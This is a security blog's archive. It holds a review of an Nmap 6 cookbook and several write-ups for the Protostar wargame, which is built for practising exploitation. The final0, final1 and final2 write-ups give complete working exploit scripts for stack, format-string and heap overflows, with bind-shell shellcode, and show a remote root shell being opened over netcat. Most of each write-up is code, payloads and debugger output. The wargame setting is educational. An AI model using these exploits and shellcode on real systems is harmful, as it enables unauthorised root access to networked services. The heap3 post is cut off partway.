Saturday, January 26, 2013

[Book] Nmap 6 Network Exploration and Network Security Auditing cookbook

 A couple of weeks ago, Packetpub reached out to me to review their newest book on Nmap by Paulino Calderon. Due to a lack of time, it wasn't until this week-end that I have been able to write the last words of this review.

 The author's description of the book says "Nmap 6: Network Exploration and Security Auditing Cookbook is a 100 percent practical book that follows a
cookbook's style..." and this is both reasonable and necessary, as the book wouldn't have had much added value over the pretty comprehensive online documentation otherwise. Most recipes come in a "What and why, How to do, How it works, There's more to it and See Also" format, which is good, except for the "See Also" that I found to be a waste of space in my opinion as in most cases it points to recipes in the same chapter and the "References" and "Index" at the end of the book are already comprehensive. If you don't know what Nmap is, or are just searching for the "how to do" part in a rigid format, you may want to take a first look at the online documentation.
Repeating the "legal disclaimer" from the preface at the start of each chapter was a bit annoying. Those who have bad intentions will skip through them (just like those with good intentions do). On the other hand, the author could have provided a good added-value if he provided a virtual machine with the vulnerable software on which to test (and follow with the examples) the book's recipes. Using some existing vulnerable virtual machines would have been rational too.

Following are my views on each chapter of the book. You can skip directly to
the summary/rating.
Chapter 1: Nmap Fundementals.
The book shows up some awesomeness early on. This chapter covers "a lot"
compared to the usual "First Chapter" you see in other books. The Chapter starts with grabbing and building the latest source code from the Nmap repostiroy. *Every* Nmap user should be running bleeding edge, as there are too many bug fixes, new features and especially NSE improvements to miss, waiting for stable releases. I totally agree with the author on skipping the usual, "go to toolwebsite.com, grab packages/binaries and run it."
The chapter continues with recipes, starting with the simple "namp <target>" and showing basic features and flags such as -PN, -n and -p up to using Ndiff and a bash script to automate some monitoring work.
In essence, all the fundamentals needed for the day-to-day tasks are here.

Chapter 2: Network Exploration
This chapter looked more like the man pages with all the different host
discovery and port scanning techniques detailed. In page 48: "...note that there are firewalls configured to drop RST packets..." the author probably meant "..drop SYN packets.." given the context.
Page 51: "... will generate false positives" should have been "...false negatives...".
First part of the chapter is not very interesting and the author's touch was quite absent. Things become a bit more interesting starting from the "Hiding our traffic with additional random data" recipe. Overall it was an ok chapter.

Chapter 3: Gathering Additional Host Information
This chapter deals with collecting information about your targets beyond the
classic OS fingerprinting, port enumeration and service discovery that nmap is
widely known for. There are recipes about IP geolocation, whois records
enumeration, Google Safe Browsing querying, listing supported protocols etc,. The author's touch which lacked in the previous chapter was welcomed here.

Chapter 4: Auditing Web Servers
As I expected, and as the chapters go, the author starts to focus more on
leveraging NSE scripts.
One (major) complaint: "HTTP User Agent" and "HTTP pipelining" paragraphs were repeated numerous times, practically for each recipe in the chapter (and many other times in later chapters). Moving them to the start of the chapter and simply pointing to them would have saved a lot of valuable space.
Other than that, there are a numerous recipes for enumerating and testing web
servers and applications. Not surprising knowing the author's contributions to Nmap.

Chapter 5: Auditing Databases.
"MySQL servers may run on a non-standard port..." passage is again repeated
a couple of times. Same goes for the "Brute modes" passage, but in general the chapter is quite good with a lot of information on testing MySQL servers, Oracle, MS SQL and some nosql db servers such as MongoDB and CouchDB. No love for PostgreSQl ? :)

Chapter 6: Auditing Mail Servers
This chapter goes through testing mail servers using mainly smtp/pop3/imap related NSE scripts. Again, there is some repetition in here. The little paragraph about "Debugging NSE scripts" is repeated 9 times through the chapter (and 11 times in total in the book). Worse, the command is not even changed.
nmap -p80 --script http-google-email -d4 <target>
Other notes about this chapter: In my opinion, the SMTP brute force recipe should come right after the user enumeration recipe, not just right before it.
Same goes for the POP3/IMAP brute force recipes which should come after capabilities querying recipes. But this is a small detail.

Chapter 7: Scanning large networks.
This chapter constitutes a fresh change, as it is not very heavy on using NSE
scripts as the previous chapters. The "reading targets from text
files" and "scanning an ip address range" recipes should be on the first
chapter or second chapter though. The various recipes to optimize the run time
of large network scans are very nice. The closing recipe on running distributed
scans with Dnmap is a nice touch.

Chapter 8: Generating Scan Reports.
The chapter is self-containing with information on generating reports in various
format (text, xml, sqlite DB, html, network topology graph etc,.). In my
opinion, this chapter should have come as the last chapter of the book, or
alternatively at the place of one of the earlier chapters (before the book starts focusing on NSE scripts.)

Chapter 9: Writing Your Own NSE Scripts
This chapter is hands-down the best in the book. The author does a brilliant job
in taking the reader beyond the "Check response code of an HTTP request to some url." scripting tutorials that you will find practically everywhere. These were my expectations knowing the author's contribution to NSE and he surely didn't disappoint. Anyone planning to start writing Nmap scripts would learn a lot from this chapter and enjoy the practical tips in here.

Summary:
The Nmap 6 cookbook is a nice addition to your bookshelf or on a corner of your desk, depending on how often you (should) use Nmap. I had high expectations for this book and I wasn't let down except by the editing / space management.

Pros:
Complete coverage of Nmap and NSE.
Chapter 9 on writing Nmap scripts is very well written.
Cons:
Content duplication. Use of space could have been smarter.

Rating: 4.5 / 5

Sunday, January 13, 2013

exploit-exercises Protostar: Summary

This post regroups the write-ups for the exploit-exercises' Protostar wargame which introduces to the exploitation of various classes of vulnerabilities on Linux x86. These are posted mainly as a reference and to discuss various approaches and ideas with other people.
If you came here looking for a solution, try harder, it could be done. If you don't know where to start, The Shellcoder's handbook's first 5 chapters should set you on track. You may also enjoy the Exploits 1 class from Open Security Training. Depending on your actual level, you may prefer Hacking, The Art of Exploitation's slower introduction to the topic.

Do not cheat, it is not worth it.

stack0
stack1
stack2
stack3
stack4
stack5
stack6
stack7

format0
format1
format2
format3

heap0
heap1
heap2
heap3

net0-3

final0
final1
final2

exploit-exercises Protostar: Final 2

This is the write-up for final 2 which is the last challenge of exploit-exercises' Protostar wargame and involves exploiting a remote heap overflow. The source code of the remote heap overflow vulnerable program is provided as follow:
#include "../common/common.c"
#include "../common/malloc.c"

#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993

#define REQSZ 128

void check_path(char *buf)
{
        char *start;
        char *p;
        int l;

        /*
         * Work out old software bug
         */

        p = rindex(buf, '/');
        l = strlen(p);
        if(p) {
                start = strstr(buf, "ROOT");
                if(start) {
                        while(*start != '/') start--;
                        memmove(start, p, l);
                        printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
                        "yes" : "no", start - buf);
                }
        }
}

int get_requests(int fd)
{
        char *buf;
        char *destroylist[256];
        int dll;
        int i;

        dll = 0;
        while(1) {
                if(dll >= 255) break;

                buf = calloc(REQSZ, 1);
                if(read(fd, buf, REQSZ) != REQSZ) break;

                if(strncmp(buf, "FSRD", 4) != 0) break;

                check_path(buf + 4);

                dll++;
        }

        for(i = 0; i < dll; i++) {
                write(fd, "Process OK\n", strlen("Process OK\n"));
                free(destroylist[i]);
        }
}

int main(int argc, char **argv, char **envp)
{
        int fd;
        char *username;

        /* Run the process as a daemon */
        background_process(NAME, UID, GID);

        /* Wait for socket activity and return */
        fd = serve_forever(PORT);

        /* Set the client socket to STDIN, STDOUT, and STDERR */
        set_io(fd);

        get_requests(fd);

}
The only difference between the provided source code and the binary on the target machine is the printf() within the check_path() function is not called in the binary. The vulnerability happens in the check_path() function as the '/' is assumed to be preceding the 'ROOT' in the buffer and is looked for backward with no boundary checking.
        while(*start != '/') start--;
After that, the rest of the buffer starting from p is copied into start's new position.
        memmove(start, p, l);
Other important information to keep in mind:
- Each request is 128 bytes.
- Each request is allocated a chunk on the heap.
- We can chain requests with the same connexion.
With that in mind, our solution for this challenge involves sending two requests: The first one will contain the "previous" '/' from which we will start copying into. The second one will contain the ROOT from which we start iterating and the second '/' that marks the start of the area we copy from. A PoC to make things clearer:
kroosec@doj:~$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'B'*4+'C'*4" | nc 192.168.23.5 2993
Notice the second '/' (and the payload to exploit the free() call) is at the end of the request. This is to limit the effect of the memmove() which copies strlen(p) amount of data.
And the state of the program when the crash happens.
(gdb) x/i $eip
0x804aaef <free+301>:   mov    %edx,0xc(%eax)
(gdb) i r edx
edx            0x43434343       1128481603
(gdb) i r eax
eax            0x42424242       1111638594
Arbitrary memory overwrite, just like heap 3. We will overwrite the write() GOT
entry with the address of our shellcode which will be located at 0x804e09c.
root@protostar:/home/user# objdump -R /opt/protostar/bin/final2 | grep write
0804d41c R_386_JUMP_SLOT   write
Checking that our addresses are correct, using a "int3" (sigtrap) instruction in place of our shellcode we get:
kroosec@doj:~$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '\xcc' + '\x90'*102 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'\x10\xd4\x04\x08'+'\x98\xe0\x04\x08'" | nc 192.168.23.5 2993

(gdb) x/x 0x0804e098
0x804e098:      0x909090cc
(gdb) continue
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0804e099 in ?? ()

(gdb) x/5i $eip - 1
0x804e098:      int3
0x804e099:      nop
0x804e09a:      nop
0x804e09b:      nop
0x804e09c:      nop
Now, with the final expoit payload.
kroosec@doj:~$ cat final2.py
#!/usr/bin/env python

req_size = 128
HDR = 'FSRD'
NOP = '\x90'
jump = NOP * 6 + '\xeb\x06' # JUMP + 6
free_payload  = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'

shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"

first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req  = HDR + 'ROOT' + jump #16
second_req += NOP * (req_size - len(HDR) - 4 - len(jump) - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload #17

print first_req + second_req
Last point to clarify, is the short relative jump "\xeb\x05" we have add which
is used to jump over the second value written by the free() call.
(gdb) x/20x 0x804e090
0x804e090:      0x0804d410      0x0804e098      0x90909090      0x06eb9090
0x804e0a0:      0x0804d410      0x90909090      0x90909090      0x90909090
0x804e0b0:      0x90909090      0x90909090      0x90909090      0x90909090
0x804e0c0:      0x90909090      0x6850c031      0x636e2f6e      0x622f2f68
0x804e0d0:      0x50e38969      0x36363668      0x6c2d6836      0xe2897074
Let's get our remote root shell.
kroosec@doj:~$ python final2.py | nc 192.168.1.5 2993 &
[1] 9577
kroosec@doj:~$ nc 192.168.1.5 6666
whoami

root
And that is it with the last challenge of the Protostar wargame.

exploit-exercises Protostar: Final 1

This is the write-up for final 1 challenge of exploit-exercises' Protostar wargame. The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

#include <syslog.h>

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
{
        char buf[512];

        snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

        syslog(LOG_USER|LOG_DEBUG, buf);
}

void trim(char *str)
{
        char *q;

        q = strchr(str, '\r');
        if(q) *q = 0;
        q = strchr(str, '\n');
        if(q) *q = 0;
}

void parser()
{
        char line[128];

        printf("[final1] $ ");

        while(fgets(line, sizeof(line)-1, stdin)) {
                trim(line);
                if(strncmp(line, "username ", 9) == 0) {
                        strcpy(username, line+9);
                } else if(strncmp(line, "login ", 6) == 0) {
                        if(username[0] == 0) {
                                printf("invalid protocol\n");
                        } else {
                                logit(line + 6);
                                printf("login failed\n");
                        }
                }
                printf("[final1] $ ");
        }
}

void getipport()
{
        int l;
        struct sockaddr_in sin;

        l = sizeof(struct sockaddr_in);
        if(getpeername(0, &sin, &l) == -1) {
                err(1, "you don't exist");
        }

        sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp)
{
        int fd;
        char *username;

        /* Run the process as a daemon */
        background_process(NAME, UID, GID);

        /* Wait for socket activity and return */
        fd = serve_forever(PORT);

        /* Set the client socket to STDIN, STDOUT, and STDERR */
        set_io(fd);

        getipport();
        parser();

}
The format string vulnerability occurs in the logit() function, more precisely in the syslog(LOG_USER|LOG_DEUG, buf) call which is passed user suplied data directly, instead of being passed a static string with a call in the form of syslog(LOG_USER|LOG_DEBUG, "%s", buf).
First thing to do is determining the parameter position at which we can read/write our input. One way to do it for a blind format string is to iterate over the positions, while attempting to write at a valid memory address, a GOT entry, for instance, but not the printf one as we need it to easily tell that it didn't crash. Consequently, when we hit an adequate position for our input (which will be the strncmp entry in the GOT), the program will not crash. And following is a bash script to automate it, we make 4 consecutives valid addresses to overwrite in our input (0x0804a1a8-0x0404a1ab) to differentiate the position we are looking for from other false positives.
kroosec@doj:~$ cat final1.sh
#!/usr/bin/env sh

for i in {10..30};
do
    echo -n "Position: $i ";
    python -c "print 'username A\n'+'login \xa8\xa1\x04\x08\xa9\xa1\x04\x08\xaa\xa1\x04\x08\xab\xa1\x04\x08%$i\$n\n'" \
        | nc 192.168.23.5 2994 \
        | grep "login failed";
    echo "";
done;
kroosec@doj:~$ bash final1.sh
Position: 10
Position: 11
Position: 12
Position: 13
Position: 14
Position: 15
Position: 16
Position: 17
Position: 18
Position: 19
Position: 20 [final1] $ [final1] $ login failed

Position: 21 [final1] $ [final1] $ login failed

Position: 22 [final1] $ [final1] $ login failed

Position: 23 [final1] $ [final1] $ login failed

Position: 24
Position: 25
Position: 26
Position: 27
Position: 28 [final1] $ [final1] $ login failed

Position: 29
Position: 30
Position 20 is what we are looking for. Now, it is time to start overwriting the GOT entry with correct values.
kroosec@doj:~$ python -c "print 'username A\n'+'login \xa8\xa1\x04\x08\xa9\xa1\x04\x08\xaa\xa1\x04\x08\xab\xa1\x04\x08x%20\$n%11x%21\$nx%22\$nx%23\$nAAAA'" | nc 192.168.23.5 2994

(gdb) x/x 0x0804a1a8
0x804a1a8 <_GLOBAL_OFFSET_TABLE_+188>:  0x675d564b

(gdb) x/30x buf
0xbffffa20: 0x69676f4c  0x7266206e  0x31206d6f  0x312e3239
0xbffffa30: 0x312e3836  0x3a31352e  0x38323533  0x73612034
0xbffffa40: 0x5d415b20  0x74697720  0x61702068  0x6f777373
0xbffffa50: 0x5b206472  0x0804a1a8  0x0804a1a9  0x0804a1aa
0xbffffa60: 0x0804a1ab  0x78303025  0x24303225  0x3131256e
0xbffffa70: 0x31322578  0x30256e24  0x32257830  0x256e2432
0xbffffa80: 0x43783030  0x33322543  0x41416e24  0x0a5d4141
0xbffffa90: 0xbffffb00  0xb7febfc6
Now we have to overwrite the address of our shellcode (0xbffffa8a) into the puts GOT entry (0x0804a194). After some offset calculations, we reach this point:
kroosec@doj:~$ python -c "print 'username A\n'+'login \x94\xa1\x04\x08\x95\xa1\x04\x08\x96\xa1\x04\x08\x97\xa1\x04\x08%71x%20\$n%111x%21\$n%261x%22\$n%192x%23\$n\xcc\xcc\xcc\xcc'" | nc 192.168.23.5 2994

(gdb) continue
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffffa8c in ?? ()
Now, we just have to use our replace the 0xcc sequence with our real shellcode.
kroosec@doj:~$ cat final1.py
#!/usr/bin/env python

payload  = "username A\n"
payload += "login \x94\xa1\x04\x08\x95\xa1\x04\x08\x96\xa1\x04\x08\x97\xa1\x04\x08"
payload += "%71x%20$n%111x%21$n%261x%22$n%192x%23$n"

shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"

payload += shellcode
print payload
And get a root shell.
kroosec@doj:~$ python final1.py | nc 192.168.23.5 2994 > /dev/null &
[1] 4748
kroosec@doj:~$ nc 192.168.23.5 6666
whoami

root
That is all for final 1 challenge.

Thursday, January 10, 2013

exploit-exercises Protostar: Final 0

This is the write for Final 0 challenge of exploit-exerices' Protostar wargame. The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995

/*
 * Read the username in from the network
 */

char *get_username()
{
        char buffer[512];
        char *q;
        int i;

        memset(buffer, 0, sizeof(buffer));
        gets(buffer);

        /* Strip off trailing new line characters */
        q = strchr(buffer, '\n');
        if(q) *q = 0;
        q = strchr(buffer, '\r');
        if(q) *q = 0;

        /* Convert to lower case */
        for(i = 0; i < strlen(buffer); i++) {
                buffer[i] = toupper(buffer[i]);
        }

        /* Duplicate the string and return it */
        return strdup(buffer);
}

int main(int argc, char **argv, char **envp)
{
        int fd;
        char *username;

        /* Run the process as a daemon */
        background_process(NAME, UID, GID);

        /* Wait for socket activity and return */
        fd = serve_forever(PORT);

        /* Set the client socket to STDIN, STDOUT, and STDERR */
        set_io(fd);

        username = get_username();

        printf("No such user %s\n", username);
}
There is a stack based buffer overflow in this program caused by the gets() call in get_username() function. This time however, our input will be altered depending on its value.
Any of the first 512 characters (sizeof (buf)) that falls within the lower case alphabetic characters range in the ascii table (0x61 -> 0x7a) will be transformed into upper case (ie. OR with 0x20).
        /* Convert to lower case */
        for(i = 0; i < strlen(buffer); i++) {
                buffer[i] = toupper(buffer[i]);
        }
For the nop sled / junk filler, this shouldn't be an issue. However, for the shellcode, we have to take extra measures as parts like "/bin/sh" will become "/BIN/SH".
We have two solutions for this:
1. Shellcode not within the buf[512]. We simply fill with junk and write the
shellcode after the RET address.
2. Use a shellcode containing no characters within 0x61-0x7a range. This would be the option to choose only if the first one is not available.
Here is the python script to exploit the vulnerable program. The shellcode
binds a shell to port 6666. Starting with this shellcode we can get to one easily tailored for our target machine that uses /bin/nc instead of /usr/bin/netcat. The python script that outputs the final payload:
#!/usr/bin/env python

offset = 528 + 4
nop = "\x90"
RET = "\xd4\xfc\xff\xbf"
shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"
payload = nop * offset + RET + nop * 10 + shellcode
print payload
We pipe the output into nc, and connect to the open port.
kroosec@doj:~/protostar$ python final0.py | nc 192.168.23.5 2995 &
[1] 4791
kroosec@doj:~/protostar$ nc 192.168.23.5 6666
whoami
root

exploit-exercises Protostar: Net 0, Net 1, Net 2 and Net 3

This blog post will be a sum-up for Net 0, Net 1, Net 2 and Net 3 challenges of exploit-exercises' Protostar wargame.
In the first challenge we have to read a  random integer's decimal representation off the network and send it back. We parse the received data, we convert into an integer value and send it back.
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define RPORT 2999
#define BUF_SIZE 255
#define RHOST "192.168.23.5"

int main (int argc, char **argv)
{
    int sd, wanted;
    char buf[BUF_SIZE];
    char *ptr;
    struct sockaddr_in target;

    /* Prepare structures and socket */
    memset (&target, 0, sizeof (target));
    target.sin_family = AF_INET;
    target.sin_port = htons (RPORT);
    if (inet_pton (AF_INET, RHOST, &target.sin_addr.s_addr) != 1)
      {
        printf("inet_pton()");
        return -1;
      }
    if ((sd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
      {
        printf("socket()");
        return -1;
      }

    /* Connect to the target host */
    if (connect (sd, (struct sockaddr *) &target, sizeof (target)))
      {
        printf("connect()");
        return -1;
      }
    /* Read the message */
    if (recv (sd, buf, BUF_SIZE - 1, 0) == -1)
      {
        printf("recv()");
        return -1;
      }
    printf ("%s\n", buf);

    /* Extract the value */

    ptr = (char *) buf + 14;
    while ((*ptr++ != '\'') && (ptr < buf + BUF_SIZE));

    wanted = atoi (buf + 13);
    /* Send it back in little endian */
    if (send (sd, &wanted, sizeof (wanted), 0) != sizeof (wanted))
      {
        printf("send()");
        return -1;
      }

    memset (buf, 0, BUF_SIZE);
    if (recv (sd, buf, BUF_SIZE - 1, 0) == -1)
      {
        printf("recv()");
        return -1;
      }
    printf ("%s\n", buf);

    return 0;
}
kroosec@doj:~/protostar$ ./a.out
Please send '217873919' as a little endian 32bit int

Thank you sir/madam
The second challenge is mostly the inverse of the first. We read an integer over
the network and send back its decimal representation.
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define RPORT 2998
#define BUF_SIZE 255
#define RHOST "192.168.23.5"

int main (int argc, char **argv)
{
    int sd;
    char buf[BUF_SIZE];
    char tmp[BUF_SIZE];
    char *ptr;
    struct sockaddr_in target;

    /* Prepare structures and socket */
    memset (&target, 0, sizeof (target));
    target.sin_family = AF_INET;
    target.sin_port = htons (RPORT);
    if (inet_pton (AF_INET, RHOST, &target.sin_addr.s_addr) != 1)
      {
        printf("inet_pton()");
        return -1;
      }
    if ((sd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
      {
        printf("socket()");
        return -1;
      }

    /* Connect to the target host */
    if (connect (sd, (struct sockaddr *) &target, sizeof (target)))
      {
        printf("connect()");
        return -1;
      }
    /* Read the message */
    if (recv (sd, buf, BUF_SIZE - 1, 0) == -1)
      {
        printf("recv()");
        return -1;
      }

    memset (tmp, 0, BUF_SIZE);
    sprintf (tmp, "%d", *(int *)buf);

    if (send (sd, tmp, strlen (tmp), 0) != strlen (tmp))
      {
        printf("send()");
        return -1;
      }

    memset (buf, 0, BUF_SIZE);
    if (recv (sd, buf, BUF_SIZE - 1, 0) == -1)
      {
        printf("recv()");
        return -1;
      }
    printf ("%s\n", buf);

    return 0;
}

kroosec@doj:~/protostar$ ./a.out
you correctly sent the data
The third challenge is about sending back the sum 4 unsigned integers received
over the wire.
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define RPORT 2997
#define BUF_SIZE 255
#define RHOST "192.168.23.5"

int main (int argc, char **argv)
{
    unsigned int sd, wanted, i;
    char buf[BUF_SIZE];
    struct sockaddr_in target;

    /* Prepare structures and socket */
    memset (&target, 0, sizeof (target));
    target.sin_family = AF_INET;
    target.sin_port = htons (RPORT);
    if (inet_pton (AF_INET, RHOST, &target.sin_addr.s_addr) != 1)
      {
        printf("inet_pton()");
        return -1;
      }
    if ((sd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
      {
        printf("socket()");
        return -1;
      }

    /* Connect to the target host */
    if (connect (sd, (struct sockaddr *) &target, sizeof (target)))
      {
        printf("connect()");
        return -1;
      }

    wanted = 0;
    /* Read 4 unsigned integers and sum them up. */
    for (i = 0; i < 4; i++)
      {
        if (recv (sd, buf, sizeof (int), 0) == -1)
          {
            printf("recv()");
            return -1;
          }
        wanted += *(int *) buf;
      }

    if (send (sd, &wanted, sizeof (int), 0) != sizeof (int))
      {
        printf("send()");
        return -1;
      }

    memset (buf, 0, BUF_SIZE);
    if (recv (sd, buf, BUF_SIZE - 1, 0) == -1)
      {
        printf("recv()");
        return -1;
      }
    printf ("%s\n", buf);

    return 0;
}
kroosec@doj:~/protostar$ ./a.out
you added them correctly
The last challenge of the networking category emulates a networking protocol. It starts by reading the total length of the data on 2 bytes which will be 31. Following is 23 on one byte, which signifies login command. After that the resource net3, the username awesomesauce and the password each terminated with a null byte and prepended with its length (+1 for null byte).
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define RPORT 2996
#define BUF_SIZE 500
#define RHOST "192.168.23.5"

int main (int argc, char **argv)
{
    int sd;
    char buf[BUF_SIZE];
    struct sockaddr_in target;

    /* Prepare structures and socket */
    memset (&target, 0, sizeof (target));
    target.sin_family = AF_INET;
    target.sin_port = htons (RPORT);
    if (inet_pton (AF_INET, RHOST, &target.sin_addr.s_addr) != 1)
      {
        printf("inet_pton()");
        return -1;
      }
    if ((sd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
      {
        printf("socket()");
        return -1;
      }

    /* Connect to the target host */
    if (connect (sd, (struct sockaddr *) &target, sizeof (target)))
      {
        printf("connect()");
        return -1;
      }

    /* Prepend with payload size == 31 */
    if (send (sd, "\x00\x1f", 2, 0) != 2)
      {
        printf("send()");
        return -1;
      }

    /* Start with 23 */
    if (send (sd, "\x17", 1, 0) != 1)
      {
        printf("send()");
        return -1;
      }

    /* resource */
    if (send (sd, "\x05net3\x00", 6, 0) != 6)
      {
        printf("send()");
        return -1;
      }

    /* login */
    if (send (sd, "\x0d""awesomesauce\x00", 14, 0) != 14)
      {
        printf("send()");
        return -1;
      }

    /* password */
    if (send (sd, "\x09password\x00", 10, 0) != 10)
      {
        printf("send()");
        return -1;
      }

    memset (buf, 0, BUF_SIZE);
    if (recv (sd, buf, BUF_SIZE - 1, 0) == -1)
      {
        printf("recv()");
        return -1;
      }
    printf ("%s\n", buf+2);

    return 0;
}
kroosec@doj:~/protostar$ ./a.out
!successful
And that is it with the Networking challenges of Protostar.

Saturday, January 5, 2013

exploit-exercises Protostar: Heap 3

This is the write-up for heap 3 challenge of Protostar wargame. The source code
of the vulnerable program is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
        printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
        char *a, *b, *c;

        a = malloc(32);
        b = malloc(32);
        c = malloc(32);

        strcpy(a, argv[1]);
        strcpy(b, argv[2]);
        strcpy(c, argv[3]);

        free(c);
        free(b);
        free(a);

        printf("dynamite failed?\n");
}
Initially, I expected it to be a bit harder as the target systems ships with glibc 2.11 which protects against some older attacks.
user@protostar:~/heap3$ /lib/libc.so.6
GNU C Library (Debian EGLIBC 2.11.2-10) stable release version 2.11.2, by Roland McGrath et al.
Copyright (C) 2009 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 4.4.5.
Compiled on a Linux 2.6.32 system on 2011-01-23.
Available extensions:
        crypt add-on version 2.1 by Michael Glad and others
        GNU Libidn by Simon Josefsson
        Native POSIX Threads Library by Ulrich Drepper et al
        BIND-8.2.3-T5B
For bug reporting instructions, please see:
<http://www.debian.org/Bugs/>.
But I found out that the binary was statically built against a malloc implementation.
user@protostar:~/heap3$ objdump -d /opt/protostar/bin/heap3 | egrep "(malloc|free).*:"
0804893c <malloc_init_state>:
08048ff2 <malloc>:
08049824 <free>:
08049a8b <malloc_consolidate>:
0804a44f <cfree>:
0804a491 <independent_comalloc>:
0804a7c5 <malloc_trim>:
0804a7f1 <malloc_usable_size>:
0804a9df <malloc_stats>:
And given that the author says in the level's description "This level introduces the Doug Lea Malloc (dlmalloc)..." it became clear that this was an older malloc implementation (which doesn't protect against unlink() attacks among others.)
This phrack paper by MaXX is a good and well explained introduction on heap overflows. For an overview of how dlmalloc works, this web page by Doug Lea himself provides a high level view.
First, let's see what happens on the heap with no fuzzy output.
(gdb) break 24
(gdb) run AAAAAAAA BBBBBBBB CCCCCCCC
a is at 0x804c008
b is at 0x804c030
c is at 0x804c058
This is the state of memory before free(c).
(gdb) x/34x 0x804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x42424242      0x42424242      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x43434343      0x43434343
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000
This is the state of memory after free(c) and before free(b). Notice the value
of 0x804c058 was set to 0.
(gdb) x/34x 0x804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x42424242      0x42424242      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x00000000      0x43434343
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000
This is the state of memory after free(b) and before free(a). Notice that the value
of 0x804c030 memory address was set to 0x0804c050 which is the address of the
next free chunk (the one that was holding c.)
(gdb) x/34x 0x804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x41414141
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x0804c050      0x42424242      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x00000000      0x43434343
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000
This is the state of memory after free(a). Again, notice the value
of 0x804c030 was set to 0x0804c050 which is the address of the next free chunk.
(gdb) x/34x 0x804c000
